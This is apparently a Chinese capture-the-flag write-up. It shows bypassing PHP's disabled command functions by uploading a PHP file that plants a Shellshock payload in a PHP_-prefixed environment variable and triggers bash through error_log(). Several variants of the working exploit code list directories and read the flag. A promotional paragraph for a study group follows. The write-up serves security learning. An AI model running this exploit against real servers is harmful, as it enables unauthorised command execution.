尝试在终端执行命令,发现返回ret=127,无法执行命令
所以上传文件,借助shellshock漏洞,这里编写feng.php
查看phpinfo()时发现safe_mode_allowed_env_vars为PHP_,所以在feng.php中,环境变量的名称为PHP_自定义(可在安全模式 « PHP Manual | PHP 中文手册查看safe_mode_allowed_env_vars含义)
PHP里的某些函数(例如:mail()、imap_mail())能调用popen或其他能够派生bash子进程的函数,可以通过这些函数来触shellshock执行命令
<?php
putenv("PHP_hy=() { :; }; ls / >> /var/www/html/test");
//这里设置环境变量时只要前缀是PHP_即可
//利用shellshock漏洞,执行ls /命令,建立test文件,将结果保存在test中
error_log('',1,'','');
//查看phpinfo,发现mail函数被禁用,error_log可用,所以在这里使用error_log,在message_type设置为1的时候,使用mail()的同一个内置函数。
echo 'ok';//便于判断是否运行成功
?>
上传文件后,在浏览器访问feng.php
在/var/www/html目录下得到test文件,在test文件中得到根目录,在根目录中发现readflag与flag文件
更改feng.php内容,改为查看readflag文件,发现readflag是一个shell文件,所以运行readflag文件
<?php
putenv("PHP_hy=() { :; }; cat /readflag >> /var/www/html/test");
error_log('',1,'','');
echo 'ok';
?>
得到flag
<?php
putenv("PHP_hy=() { :; }; /readflag >> /var/www/html/test");
error_log('',1,'','');
echo 'ok';
?>
补充:因为readflag中内容为tac /flag,所以也可以不运行readflag文件,直接访问flag文件
<?php
putenv("PHP_hy=() { :; }; tac /flag >> /var/www/html/test");
error_log('',1,'','');
echo 'ok';
?>
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!